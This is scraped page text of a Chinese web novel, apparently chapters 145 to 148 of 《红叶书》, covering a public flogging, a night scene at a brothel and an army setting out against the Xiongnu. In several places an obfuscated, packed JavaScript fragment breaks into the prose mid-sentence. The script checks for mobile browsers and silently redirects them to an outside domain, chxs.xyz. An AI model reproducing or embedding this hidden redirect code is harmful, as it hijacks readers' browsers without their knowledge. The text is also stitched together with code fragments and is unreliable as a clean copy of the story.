l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839880|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里里外外看伤,皮外伤,不算重,只是人年纪大了静养时日需要久一些,伤好后不能干重活。 梁风为老李涂了药,看着老李睡着才离开。 他必须尽快回军营,营里那帮被他折磨得半病不伤的新人还要处理。皇帝已经允许母亲和宫外通信,那帮人就得好好安置,不能再下狠手。 到了军营却异常地安静。 副将告诉他,他前脚离营,后脚夏培就被人领走了,傍晚前陛下旨意传来,清除了军营中大部分新人,并提醒炮台慢慢建,不必急于一时。 原来皇帝已经清过了。剩余新人除了那两个皇帝的人外,还有太子的人也留下了,那个碍眼的楚通留下了。 梁风去见了每一个人,让李婶为每一个人把脉。不然真出了毛病,他没法交代。 他们多数只是疲累过度,比较严重的是一个尚在昏迷的新人,也是太子的人,午时为炮台挖地基时昏迷了,到现在没醒过来。 梁风还给他们换了舒适一些的营帐,备丰富的晚膳。 等全部人安置好,夜很深了。 隔日天亮,梁风打算再进城,结果在早朝还没结束的时辰,皇帝的旨意又来了。 皇帝疑心举报应和王府向民间借贷的百姓可能心怀不轨,背后有人操控,便让游照同查了一下。 查之后果然发现是几个商户集体商议过后自发联合的举动,目的是为应和王封堵粮道,一泄怒气。 相府词曹和决曹皆认为那些商户按律当罚,皇帝便赐涉案百姓每人十个板子,小惩大诫,并命应和王监罚。 受罚名单已列好,行罚就是今日。 梁风没法,思考很久后带着李婶进城。 行罚地点在西市,他指挥兵士带刀围圈排开,圈外百姓越聚越多。 决曹掾属将名单送到他这里循例过目一遍。结果一看,大吃一惊,受罚人数竟有七十八人之多。 他以为被罚的百姓最多不超十个,能够联合商议到相府举报,除了几个说话分量较重的大商户外还有谁能做到? 梁风怎么也没想到被波及的人有这么多,甚至名单靠后还看见了一个叫火蓉的名字,他没记错的话这是温柔馆的姑娘,温柔馆的人都被牵连了。 梁风没法,让李婶在受罚场地外开棚为受罚百姓救治。所有受罚百姓挨完板子后便到李婶那里摸摸脉,再领一副药剂。 管事掾属似乎不满,但他觉得没什么不妥,这是自愿行为,而且规模不大,不归相府管束。 不管皇帝处罚这些人是出于什么目的,或许聚集商户联合举报的人就是皇帝,但无论怎么说都是因为他,他要弥补这份愧疚。 梁风两头控场,李婶的救治逐渐有序进行。这时皇宫附近监守的暗卫来报,封闭在皇宫内的七皇子同样受罚了。 与義被皇帝命令罚跪,在祠堂斋戒面壁思过,已经一个晚上了,后面不知还要跪多久。 梁风发觉不对劲,终于知道了皇帝的意图。 他不过是希望母亲在宫里可以自由与他通信,请求这一件小事的后果,是母亲失足落井、李晟承担罪名、与義受罚,还有许多百姓受到无辜牵连。 欺负百姓,是皇帝想控制应和王府在民间的名声。 他顿时感觉一阵地丧气,可等不得他丧气太久,李婶就和他说药材不够用了,急需现买。 梁风立刻着人去买,然而买者禀报没钱了,得从府里调。府里李晟还躺在床上,调不来钱,而且即便调来钱也凑不了多少。 梁风快要焦头烂额,扭头注意到一名红衣女子被推上受刑台。他认出那是火蓉,更加急了。 火蓉被推搡着趴到凳板上,也在看他,却是看着他身后。 梁风回头的瞬间,不可置信地怔愣住,恐怕是朝思暮想,居然看见金絮正朝他走来。 和那天在南门客栈上见到的穿着很像,蓝得更深一点。她脸上有妆,直勾勾看着他,明显是冲他来的。 “你......”他简直以为自己看错了。他还打算去找她,没想到她就来了。 金絮走近,怀抱中的盒子递给他,“自己穷都要穷死了,还把金子给我。” 是装着他那三十枚金子的盒子。梁风愈发怔了,抱着的盒子有她一身的天空那么重。 金絮给了盒子便不多看一眼,转身就要走,梁风忙一把拉住,“你别走,我有话和你说。” 金絮皱眉,“我忙着。” 她微微抗拒,看看梁风身后这一片伤患,“你也忙着。” 梁风手掌收紧,拽她近一点,很多话想说,但也知道没法,只好道:“我晚些去温柔馆找你,你......你别出门。” “我能出什么门。”金絮不在意,脱开他的手掌走了。 梁风看她走远,打开盒子,金子似乎少了些。他数了数,有二十一枚,她是用了些的。 梁风望金絮背影,她要等火蓉一起回去,走了,但没走远。 他赶紧着人用金子去买药材。 146. 房间 金絮却走上受刑台,和施刑的人说了什么。 施刑之人来找梁风,说她想和火蓉分担刑罚,每人五个板子。 梁风本不想同意,但是对上金絮冷冷淡淡的眼睛,差点想自己来打,但不忍心,还是同意了,给施刑人塞了枚金币,叮嘱板子落下去时轻点再轻点。 金絮趴好往他这瞟了眼,然后面色平静地挨打。 梁风对她的平静是越看越皱眉,留神听着板子落下去的声音,力度确实很轻。 五个板子打完,金絮搀扶火蓉下台。火蓉面色痛苦,好在只打了五下,颤颤巍巍地走路还可以。 梁风见金絮走路稳当,便扶着火蓉去李婶那里先吃粒止疼药。 “怎么样?”梁风问金絮。 “我没事。”她吞了药,双手揉了揉屁股,显然不疼。 “轻一点。”梁风嫌她揉得力度太重了。金絮不理他。 扶着火蓉钻进李婶的棚子里,梁风安排火蓉插队,由李婶先简单施几针,涂点药,再回去静养。 他出棚看见金絮要往伤患休息的细条板凳上坐,便拿了张软垫给她垫着。 然后挨着她坐,担心她偷偷忍疼,仔细看着她的脸色,握住她的手腕和小指,感受她的体温,小声问道:“王府那张借条是不是你做的?” “是啊。”金絮撇他一眼,“我昨日路过王府那边,看见李管家被抓了。我就打听了一下,才知道王府居然借贷。做王爷做得快穷死,你最能耐。” 梁风瘪嘴,有必要澄清一下,“我不穷,我有钱的。只是调来需要时间,急用钱的话会赶不及。” “昨日和赵关协商的人就是火蓉,她不知是哪一步被看见脸了。”金絮看向遮蔽的棚里,指尖微微变凉。 梁风小心握住她的指尖,“我没想到会波及这么多人。更没想到会波及你。” 金絮抖了抖小指,“皇帝惩罚了你身边所有的人,唯独让你安然无恙,就是为了让你愧疚,让你往后知而不敢再犯。” “皇帝知道怎么拿捏你。”她语气淡淡,“用不着愧疚。” 这话安慰不到他,梁风心里还是愁眉苦脸。 金絮又一个眼神刀过来,“不过因为你,我可欠了赵关好大一个人情。” “他这下可彻底赖上我了。”她露出愁色。 “他爱上你了?”梁风惊了,惊完立刻发现自己听岔了,“哦哦,是赖上你了......” “差不多吧。”她愁色不减。 梁风一呆。 “王府的借贷是林家的,我让赵关出大价钱买了过来,再写了那张借条。”她道:“这欠的可不止是钱。” “我给你。”梁风想也不想便说:“我立即从襄地调钱过来,直接调去给你。” “可算了吧。这么大张旗鼓地给青楼调钱,我可不想被皇帝盯死。” 梁风觉得不行,天大的不行,直摇头道:“你不可以欠那赵关的。” “已经欠了,怎么办呢?” 她甩手,“我有办法的。钱而已,钱能解决的事情都是小事。” 梁风拽着她的手不脱,还是觉得不行。 “你一出征,天高皇帝远,管不着我了。”她耸肩。 梁风想到了办法,“赵关赖上你,如果要把你抓了,如果出了事,我的暗卫会直接带你逃跑,逃出京城,等我回来再接应你。” 金絮不应话,眉目间浮现无语。 梁风坚持,“反正你听我的,我会让老李偷偷给你调钱,你和赵关人钱两清,就离那赵关远一点。” 金絮不置可否,不知听进没有。 “反正我的暗卫是会在你身边的,你可以随时使唤他们。”梁风被自己说得多少安心一点,不过两个暗卫是不是太少了,应该多派些人手。 但是看看金絮的脸色,他没把这话说出来。 棚子帘掀开,火蓉捧着腰一瘸一拐走出来,金絮立即过去搀扶。火蓉同她道:“没事,好多了。” 梁风拿上李婶的两包药,看见她们租赁的马车,先把药放到车上。火蓉不便上车,他抱着火蓉登上车,让火绒趴在马车里休息。 金絮钻进车后帮火蓉理理衣服,趴着更舒服些。 “我的话还没和你说。”梁风站到车外,扒着车门道。 金絮便看着他。梁风也看她,看看火蓉,最后同她道:“我也是处子。” 火蓉一嗤,金絮眨眼。 梁风忙道:“我是说,我是说,我不介意你问我这样的问题,我会明白告诉你的。” “了不起啊?”火蓉问。 梁风缩脖子,“没有了不起。” 他目光投向金絮,金絮避开他的视线。梁风小声道:“我问的时候没有要冒犯你们的意思。” 火蓉嗤嗤:“愚蠢的男人。” 金絮垂头看着火蓉,像是在看,也可能没看。 梁风扒着车门,不知道说什么,“我不是说你们都是自愿......” 金絮打断:“好了,你不让我回去,是想给我涂药吗?” 梁风手臂一缩,马车门紧跟着关闭,摇晃着往前行了。 梁风目送她们走远,感觉还是没说清楚。 片刻后回到刑罚台继续监督。 刑罚在午时结束,正午的阳光会净化台上的哀嚎与血腥。围观的百姓纷纷散去。 刑罚结束后还有很多收尾事情。李婶棚里的伤患尚在排队,他要写个奏折报告皇帝。 待李婶那边伤患散毕,梁风准备回府,夏培却来了,带来皇帝问他的一句话。 “懂否?”皇帝问他。 梁风垂头道:“我懂了。” 夏培满意离去。 梁风看着棚子拆除,和李婶回府。 李晟还趴卧在床。李婶说老李伤不重,前一夜的大夫开的药已经足够,同样也说后续修养的时间需要很久。 梁风打算再招点仆从放到府里,帮老李分担事务。 李婶提出要去军营,看看那个还在昏迷的新兵怎么样了。 梁风想了想,同意了。他让剩下七名暗卫留在府里,命他们招人,再带李婶去军营。 入营后,梁风写了封信件寄去襄国,想调些钱来。 士兵来来往往忙碌了很多,副将拿着军报问他各类军资如何储放守卫,梁风这才知道之前筹措的军资开始往营里运了。 待军资全数运抵,尾随在后的是皇帝的一道圣旨。 皇帝命他后日带兵出征,即刻前往抗匈。 梁风有些愣,仅仅提前一日下旨,这么着急? 是因为他懂了,于是放心了么? 可他还不放心,不放心金絮。 他接了旨,对军资处置下好安排,赶在宵禁前入城。 抵达温柔馆时,已经熄了半个馆的灯,门口也没有欢迎他的姑娘。 梁风将马牵去温柔馆的马厩,自己推门进入前馆。散席不见男客,零星几间厢房亮着灯,丫鬟们各自在打扫,没人招呼他。 大概看了一圈,没见到金絮,他便往庭院去。 砖桥上也没见她人。梁风一边四处看,一边往桥上走。 踏出两步,逐渐走高,这下看见她了。 金絮坐在桥面,背靠着桥栏,头歪着,脸冲他,闭着眼。 梁风诧异地发现她睡着了。 他走近蹲下,打量她。 后脑勺应该是刚好塞进了桥栏镂空的洞里,上身微斜,肩膀抵着桥柱,双腿折着但是略微伸开了,居然就这样保持住一个稳当的姿势。 坐在地上睡觉不怕着凉么,睡醒身子就全麻了。 梁风看她的脸,还有妆,此刻月亮很好,不太能看出妆厚不厚,看着厚,可能是月光照得。 梁风伸手,捻一捻她脸颊边垂下来的头发,捏捏发尾,想叫醒她回屋睡。 余光中却出现别的动静引起他的注意,梁风本能看去桥头另一端,看见丽姬正在向他挥手。 丽姬双臂弯曲前举,掌心朝上,同时向上抬举。 是在示意他把金絮抱起来。梁风低头看她,手伸出去又缩回来,有点怕。 她似乎睡得挺熟,梁风尝试着一手环到她腰背后,手臂擦移压住她的头发,另一手探入后颈,将她上身捧到怀中。她的脸靠着肩膀,有一种奇异的柔软,呼吸吹过的声音都能听见,不需要凝神就能听见。再搂住她的膝窝,慢慢直立,把她抱起来。 这一刻的感觉很奇妙,她贴近的感觉很奇妙。 也不是第一回抱人。在军营里是抱过伤兵的,抱伤兵最好的方式是打横抱,便于放到担架上,也不会有背的那样颠,还不太用挪动伤兵。 抱女子的话,上午时抱过火蓉了。 都没有此刻这么愿意感受怀抱中的份量。 这份量沉重充实,有种说不出的感觉,她很不一样。身体非常软,明显是没有锻炼过的,相当不结实。梁风收紧双臂,慢慢往丽姬那边走。 丽姬一指,示意方向,梁风便走过去。 “走快点。”丽姬压低声音催促。 他不快,力求稳妥,担心弄醒她。 她身上有点香气,在温柔馆里闻到很多的,可能是她脸上涂的东西,毕竟她的脸离得近。 慢吞吞进入房间,丽姬不耐烦地向内间一指。 梁风随指示走到门前,有些犹豫,扭头一看,丽姬已经在拆发髻,不管他了。 梁风只能自己开门,为防撞到她,他用脚尖踢了一下门缝。 门缝意外顺滑,他不过轻轻一踢,两扇门完全打开了。房间里点了几盏烛火,完全照亮室内。 梁风瞪大眼睛,不可置信地震惊着,一步不敢迈。 房间里乱七八糟。存放的东西极其多,堆得杂乱无章。衣柜里的衣服满到塞不下,在地上堆成一座小山,案榻、书架、妆台上随处可见是衣服,春夏秋冬都有,还有一些不是用于穿着的布巾,巾面有或黄或黑的污点。桌案散放着数个碟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“想什么呢?这里就是她的房间。” 丽姬的声音响起,梁风一看,刚才丽姬不知什么时候消失,这会又不知什么时候出现,斜椅着廊柱一旁看他好戏。 “你也不劝劝她。”梁风责怪。 他道:“勤快点收拾房间。” 丽姬无所谓,“不,还没到我出手的时候呢。” 梁风默默地看着丽姬。 丽姬被看得不爽了,“干嘛?她那么大一张床还有我的一半位置呢,爱干净的人了不起哦。”白眼一翻,走了。 梁风坐到檐下,正对着她的外间大门,被打的脸开始痛了。 夜色更深,檐角挂的一盏灯笼烧尽熄灭了。 房间里传出轻幽的响动,脚步飘飘踏来。梁风听出脚步声里的试探,像是他刚才进入她房间时的心态一样,有些害怕。 金絮从门后现身,留了一点身子躲在门后,低着视线注视他,注意到了他脸上的指头印子。 她面无表情,梁风却看出她是有一点歉意的,看他的眼神很无言,是对他也对自己的无言。 “我不是故意进你房间。”梁风揉脸颊,“你又打我。” 他揉得自己龇牙咧嘴。金絮看着他,嘴角抖了抖,身侧的手指微微抽搐,抽出那点躲在身后的门子,走近他,抬手替他好好地摸脸颊。 “平常抱我回房的人是丽姬,我没想到是你。”她道:“对不起。” “一睁眼没认出是你,还以为是哪个不认识的男的。”她解释。 她声音有点没睡醒的哑气,梁风不说话,还是觉得委屈。就算一睁眼没认出来,骂了第一个滚字后,怎么还骂了第二遍?第二遍的时候也没认出来么? 他越想越撇嘴,但是被她摸得很舒服。她今天挨了板子,屁股肯定还痛着,所以刚才一沾到床上就醒了。 梁风反覆住她的手,揭下来,问:“屁股还痛不痛?” 金絮摇头。 “涂药了没有。” “涂了。” 金絮一屁股就要在他旁边坐下,梁风立马拦住,先将衣摆铺好,再让她坐在衣摆上。金絮十分坦然地坐下。 “屁股不痛了,那怎么我一把你放到床上你就醒了?” “我闻到了一股风沙和血腥的气味。”她微顿,“你身上的,丽姬身上没有。” 梁风抬起袖子闻一闻,啥味道没有。 “温柔馆里很少行伍出身的人。”金絮道。 “我母亲说我身上是脂粉味。” 金絮目视前方,幽幽烛火盯了很久才说:“想闻到什么,就闻到什么。” 她又道:“也可能是做梦,梦见我在杀人。” “做噩梦了,难怪会凶我。”梁风觉着她是才醒,脑袋睡蒙了,看了看她道:“我要出征了。” “哦。” 梁风对她的冷淡好不满。 金絮道:“是好梦吧,我是被美醒的。” 147. 《红叶书》(六七) “才怪。” 一睁眼那副凶相可不像是美得很的样子。他要开始审问了。 “为什么房间这么乱。” “懒得收拾。” “为什么要懒得收拾?懒得收拾也不至于乱成那样。你自己不收拾,可以叫丫鬟帮你,温柔馆有那么多丫鬟。” “明天我就把丫鬟遣散了。” 梁风一下子肃脸,刚打完他就和他挑衅起来了? 是知道他消气了还是怎的? “为什么要把丫鬟遣散,自己都不收拾,遣散了更没人帮你收拾了。你怎么不让你姑娘们帮你收拾?” “她们脾气可大得很,不敢劳动她们大驾。” “那就从外面找。多的是人愿意做帮工。” “懒得找。” “你想偷偷摸摸在我身边寻隙复仇就不懒了?我可算知道你为什么脸上要涂那么多东西,因为实在不涂的话,身上都要臭了!” “闭嘴吧,臭也是臭在我身上,跟你有什么关系。” 梁风噎了一下,继续有理,“那为什么不换房间睡?挑个干净的地方睡。” 金絮不爽了,“跟你有关系吗?” “你这样不会嫌弃自己吗?”梁风指点江山,“你嫌弃的话,也别换房间了,把房间洗一遍不就好了吗?” “我说了我懒!” 她奋力甩掉他的手就要走,梁风死死拽住,“你也不用找别人了,我帮你收拾。” 金絮上蹿下跳,脱不出他的封印,“不要!闭嘴!给我闭嘴!我他娘真是想死。” 梁风迅速冷脸,严肃地看着她,“你再说一遍?” 金絮侧过脸不回应,梁风拽她身子正过来,“你再说一遍!” 金絮不理他,梁风感到危机,站起身俯视她,声色俱厉地警告:“你的命是我的,我不准你没经过我允许就碰我的东西!” “人命不是东西!”她超级凶。 梁风比她更凶,“我的意思不是人命是东西,我意思是你是我的......我的意思是你不能死!” 她上手掐了,“生老病死是万事规律,没有能不能!” 梁风抿嘴盯她,没看出来她眼里的超然,怼她:“想成仙啊?反正就是不能。” 她莫名全身静止了一瞬,突然变得了不起,“无所谓,你管不了我。” “我现在就能管。”梁风拉住她的手就往里间走。 金絮见势不妙,全身上下开始挣扎,极其抗拒靠近房间,面目狰狞起来,大力踩他的脚,“你的脑子也该摘出来洗一洗,有些东西它就该是脏的。” “不该!”梁风直面她的狰狞,凶回去:“你的房间不该是脏的,我们的脑子也不是脏的。” 金絮忽然静了,狰狞眨眼一收,平静地道:“你读没读过《道德经》?无为懂不懂?这是房间顺其自然而成的样子,凡人不能干涉。” 梁风快要习惯她的阴晴不定了,“没关系,我是要跟生老病死作对的,我不是凡人。”说着,用她的手开门。 金絮用尽全身力气和他反抗,大叫:“你神给我看看啊。” “你现在都脱不出我的掌控,我还不够神吗?” 门被推开了,金絮大叫,腿抵着门槛就是不进。梁风随便顶一下她的膝窝,就把她拖了进去。 他先开窗,两扇相对的窗都开了,微微夜风吹进来,多少吹散了臭味。 “从哪里开始?” 梁风放开她,准备开干。金絮不管不顾地推他,推不动。 衣服可能不好翻动,他看准妆台,从首饰开始。 有的首饰很细碎,有的一条一条的东西纠缠在一起,不好搞,他不知道从哪里下手,只能先按形状分类。 金絮手快在桌面一拂,把所有东西掀了。 金絮挑衅地抬下巴看他,“滚出去。” 梁风不生气,看她一眼,改为整理书架。 金絮狗刨一样把书架格子上的书全扔到地上,再不停地踩,“你再碰?你再敢碰?老娘一把火烧了!” 梁风默默看她,不知道上午那个安慰他不要愧疚的金絮去了哪里。 “出家了吧。”他默默自语。 金絮却立即扭头,盯他,“你怎么知道我想出家?” “你出不了。”梁风敲敲她的脑壳,“燥气这么重,你出不了世。” 她眯眼,恨恨地盯他。趁着她这片刻宁静,梁风牵她的手,“出去吧,不收拾了。” 金絮眼中危险收了几分,乖顺地由他牵出去。 “你乱的是心,不把心收拾好,光收拾房间是没用的。” 她冷着脸,梁风决定软一点,还是得顺着她的意,还是得把主动权交给她。 “出征前不要和我吵架。”梁风扯手,示意她看过来,“我要出征了,你让我担心,我在战场上担心你担心得分神,一不留神着了敌人的诡计,死了怎么办?” “活该。”她两个字。 梁风一想也是啊,“我从宁安县回来就一直没空去和定北侯请教抗匈经验,真要死了回不来也是正常。” 金絮木脸,梁风看不出她有什么情绪,继续道:“实在不能活着回来的话,同归于尽也得把匈奴击退了,至少要得个战功,那样母亲就能有个着落,可是你要怎么办呢。” 她毫无波动,“我自己有办法,说了不用你管。” “我们不要吵架。”梁风察觉苗头不对,立马遏住,“你的办法不会是去死吧?” “你的脑子真该洗洗。”金絮深深吸了一口气,深深呼出,“我还欠着债呢。” “欠谁的啊?” 她没有立即回答,梁风道:“我想给你留个眷恋。”他摸摸自己身上,啥也没摸着,“我自己行不行?” 慢慢走到桥上,梁风拉她在她最喜欢的位置坐下,和她一起看星空。 但她低头看桥面。金絮道:“欠的是那年替我而死的女孩。” 梁风说不出是遗憾还是啥,被她的情绪感染,也低头看地面道:“你如果实在要复仇的话,我知道我是没有办法的,我拦不住你。” “可是我真的没法安心出征。要是我一回来发现你出事了,我真的会......” 她不耐烦了,“你那些暗卫都是吃白饭的?” “不是的。”关键不是这个,梁风极其认真和她道:“我也不是吃白饭的啊,我一个人可以打五个,但我这次没有保护好你们。” 他道:“保护的人是保护着,但是防不住始终有人想害你。” “谁想害我。”她不屑,眼睛斜睨着,“你倒是说说看,谁想害我。” “你自己。” “对,说得没错。我得杀死想害我的人。” 她很痛快得应了,右手成刀,用指甲的尖尖往脖子上横划。梁风抓住她不安分的双手,金絮被桎梏住,张嘴就往他的手上咬。 梁风只好缩手,听见她牙齿咬空的一声响。 “你先把自己照顾好再担心别人吧。” “你不是别人。” 她不屑地甩了甩手指,“谁都是谁的别人。” “想成仙啊?”梁风回怼:“要复仇,要杀人,要骂我打我,你还想四大皆空啊?” 金絮不理他,梁风又想拽住她的手,金絮牙齿立刻咬来。 他第一下先躲开,然后同样用牙齿回击,咬她。 金絮反应没那么快,被他咬着了。梁风也就轻轻压了下牙齿,没有用力。 “我用点力可以咬下你的一块肉。”他伸出手臂,“你咬我看看。” 金絮看他一眼,准备真咬。梁风手掌成拳握紧,整个手臂绷紧,崩开了她试图靠近的牙齿,啥也没咬着。 金絮不屑地一嗤。 梁风下命令:“你快点想个办法,我才能放心出征,现在,快点想。” “脑子还没洗呢,动不了。” 梁风站起来,居高道:“你就说你的命是我的,不会轻易让自己受到伤害。” 她跟着念:“你的命是我的,不会轻易让自己受到伤害。” “不是!”梁风瞪眼,“那你说:我的命是你的,我不会轻易让自己受到伤害。” 她光听不念了。 “快点说!” 梁风死拽她的手臂拉扯,靠近盯她的双眼,威胁,不断地催促:“快点说!” 她忍无可忍,大喊:“我的命是你的,我不会轻易让自己受到伤害,满意了没有!” 梁风满意了,耳朵很顺,但是又觉得还少了点,得寸进尺:“把‘轻易’俩字去了。” “你自己让我说的!”她简直觉得过分,一指,“赶紧滚!不出征了是吗?赶紧滚回府睡觉。” 他确实需要在出征前好好休息,可是没法闭眼。 “你可不许骗我。你最喜欢骗我了。” 她哼:“那你可别信。” “你和我保证你没有骗我。”他拽来她的手,掰直她的手指,在她掌心一笔一划写:“刚才我让你说的话,没有骗我。” 写完,梁风抓住她另一只手的拇指,四处看看,最后定在她的脸上,捏着她的拇指在她脸上一抹。 金絮挣扎不及,沾着脂粉的拇指在写了契约的掌心里一按。 接着梁风继续往她脸上看,金絮眼神凶狠地警告他,梁风手速极快地在她另一边脸颊一抹,也沾上粉,按到她的掌心里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839882|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好了,画了押了。” 金絮怒不可遏,“虚空写符,你才想成仙!” “仙人不杀生。”梁风正色道:“还有件事情,就是那个姓赵的。你要是人情还不清,就先欠着,等我回来帮你还。至于怎么还,等我回来再说。” 梁风认真道:“记住了没有?” “不可能。”金絮想也没想地就答。 梁风知道不可能。只能尽量不去想她可能会遇到的事,以往也没出什么大事,除了暗卫能帮把手外,他根本赶不回来。 “记得写信给我。”他轻轻地捏她掌心。 叮嘱写信是离别的信号,金絮立马站起身行礼,“大仙人,您走好。” “以后不要叫我王爷,可以叫我名字。”梁风觉着大仙人也不好听,不过“王爷”更不好听。一天天叫他王爷的人,没一个真把他当王爷看待。 “好的好的,梁公子。”她敷衍。 梁风仔细看着她,夜色下看得不是特别清楚,但化了妆的她还是她,其实没什么区别。 再仔细看看她,梁风不得不放心,转身跳上屋顶。 金絮站在原地目送梁风离开。 夜色越来越深,前馆的灯已经全熄了,桥下树林深处两三点灯笼火光走来。 金絮隔着黑夜看见了丽姬的身影,带着雄赳赳的气势,和她身后跟着的数人。 她回到房间,在桌案几簿账册的夹缝间翻拣出一把钥匙,慢条斯理地把内间门锁上。 丽姬带着人踏进来,窄窄地一环视,嗤:“好没用一男的。” 丽姬手里拿了条短鞭,将鞭子一甩,指着内间对金絮道:“老娘早看你这破垃圾堆不顺眼了,今天不把你这窝垃圾扔了,你别想睡觉!” 金絮气定神闲地坐在书案后,肘垫着圆枕,甩出两个字:“没门。” “垃圾堆还当宝贝了?”丽姬挥手:“给我上!” 身后数人一拥而上,金絮变了脸色。 水夭凝荷一人一条腿,火蓉压肩肚和手臂,小缃掰指夺钥匙。 “来人!来人!”金絮被压制地叫救命,死死抓着钥匙不放,浑身挣扎不动。 “挠痒!”丽姬远程指导。 火蓉开始挠痒。金絮又笑又叫,快要哭出来,无用的挣扎地更剧烈了。 “不给!我不给!”她徒劳无功地喊。 “还敢嘴硬。”丽姬道:“给我下死手!” “我不!” “我不!!!” 火蓉放开她的腰,拇指捏她的大臂,指腹用巧劲滑到胳肢窝,金絮疯狂地扭动。 小缃这时喊:“拿到了!”抓到钥匙立马夺去开门。 几个姑娘纷纷起身,涌去垃圾堆。锁在她身上的凝荷朝她的肩头爬,在她脸颊上吧唧亲一口,也义无反顾扑进那堆垃圾里。 金絮死在榻上。 丽姬在外间监视死人,呸道:“她有一回喝吐了,直接吐在衣柜里,明明自己也嫌脏,偏偏拿衣服一盖,就当干净了。” “谁拣衣服?我不拣。”里面的火蓉跟着道:“去厨房拿拨柴火的长夹子来。” 丽姬接着说:“她妆台某个屉子里有把钥匙,可以打开书架下面的柜子,你们有胆子的打开看看,”丽姬再嗤:“全是积泥的陈年老垢。” 金絮在榻上死。 大厢怀抱账簿过来,看看金絮的房间,没说什么,弯腰到她面前道:“阿絮姐,库房里很多东西不够货了,主要是药材,孙姨说入冬前得多囤点药材。赵老板那边约定的绸布生意还没谈成,三家布行一直没回信。” 大厢愁眉苦脸,“怎么办呢,之前买林家的借贷契约欠下的钱赵老板倒是没有催要,但他似乎很着急绸布生意,又派人来问。还有南门那边,探子要价又提高了,我觉着我们最好是亲自去一趟。” “怎么办,还能怎么办,赚钱啊!”丽姬大喊,像对傻子说话,“都债台高筑了,还好意思抱着你那堆破烂东西不放。” 这时屋里响起一阵瓶瓶罐罐书册倒地的声音,杂乱中混有一道响亮的“吱”声。 “有老鼠!”凝荷高喊。 “吱!” “阿絮姐姐房里有老鼠!” 金絮眼睛动了一下,缓缓扭头看过去。 “踩死它!”丽姬喊。 “堵住它,别让它往楼上跑。”火蓉脚步声跑起来。 屋里响起水夭的尖叫:“凝荷!不许抓它!松开!” 金絮闭眼。 无所谓,那个房间她不要了。 闭眼后的夜色下,夜风吹拂到寂静的王府,梁风为等他等得睡着的李晟盖好被子,看见了一早为他收拾好的简单包袱。 148. 《红叶书》(六八) 梁风好好睡了一觉,醒来和老李道别。返回军营清点军资,按照从前崔固每次带兵时的队伍列好兵队。八万大军,于第二日清早,迎着朝阳出征抗匈。 出征前忙了一日,快入夜才想起来李婶还在军营里,忘记派人送她回去了。 他想了想,决定让李婶跟着大军出发。第一次抗匈,没有经验,有李婶保障伤员后勤,他也能安心些。 八万大军的队伍还未完全离开军营,他又收到了新的消息。 是温柔馆两名暗卫来的信。 暗卫说,前些日子鸨母在太南有所动作,他们两人中的一人去太南调查,出征的这天一早才回到京城,立刻来告知梁风调查结果。 他们自己安排行动的事情没事先报备,梁风也不生气,仔细查看信件。 信里说金絮最近几月的行动,提到了她身边的两个小孩,女孩叫柔竹,男孩是徐礼。太南上京的粮食被封在京城外时,金絮花钱托人想在太南买座宅子,给这两个小孩一块儿住。 调查后发现,给小孩住似乎是托辞,实际是买了宅子先空置,后面不知用途如何。而那两个孩子,鸨母应当是想找路子送他们读书,住私塾里,托夫子略为照顾。但失败了,她找不到人。 更进一步调查之下,送小孩读书也是幌子,鸨母真正的意图是为徐礼做官找路子,哪怕在官府做个小徒。然而也失败了,她找不到人。 她多方托人打听,自己不亲自去太南,打听的人并不可靠,总是受阻。 梁风知道她为什么始终不出面,为的不被人知道那两个小孩出自青楼。她想让徐礼在太南官府做个小官,但是没法;退而求其次送他们读书,然而也没法;再其次是买座宅子,远离风尘。 送徐礼做官这件事几乎只是她的想想,她对徐娘的儿子很尽心了,梁风认为有点没必要。 他不认识柔竹,就那个徐礼,用不着送去读书,可以送去匠坊学门手艺,这说不定是最好的路子。不怕死的话,再长几岁参军,或者现在就参军,万一得了点军功,日子都比寻常人好过很多。 他给金絮写信,写他知道了她在太南四处走动的事情,并给她一些对徐礼日后安排的建议。 年轻时最重要的这几年不能全部用来读书,读书要花费的钱和时日太多了,她负担不起。而且十来年读书不一定能读出头,但学门手艺将来一定有口饭吃,徐礼一个无父无母、独身无依的男人读了点摇头摆脑的书没什么用处。 退一万步,徐礼就算能当上官,这样家世的人连寒门都算不上,没有人脉关系,终其一生也只能在底层做个不戴帽的小官。而学个手艺,指不定将来能做个手艺大家呢。 说这些可以了,难得给她写信,徐礼只用写一点点。 梁风问她在太南的宅子买得怎么样,需不需要帮忙。太南虽然尚在重建,但也建得差不多了,好宅子都很贵,她凭自己买的话,恐怕买不到比较好的宅子。 然后告诉她,如果实在需要人帮忙打听事情,可以直接吩咐他的暗卫,又方便又可靠,比她托人打听要可信任多了。 再问她想在哪里生活,知道她有买宅子的打算,他是很欣慰的,也是放了点心的,如果摆脱不掉赵关,如果赵关要做出什么邪恶的手段,她能有个后路。 再再叮嘱等襄国调来的钱送到,记得回信告诉他一声。 信送去,大军已全数离开京城范围,向北出发。 梁风一边等待回信,一边翻看崔固以往抗匈的历史。 这一战要去的是正北千里之外的光禄郡,必须于十一月前到达,在光禄郡辖内过冬,等待开春。 匈奴喜在荒野开阔处骑兵作战,草原马高大无匹,性情不定,匈奴人可以连续半个月在马背上而不下马。马背足够挂满半个月的粮食和饮水,跑起来还不比中原马慢。 匈奴与大周拉锯前的数月,北地边境的几座县城几乎被前线匈奴扫荡一空,县城人民尽数南退。 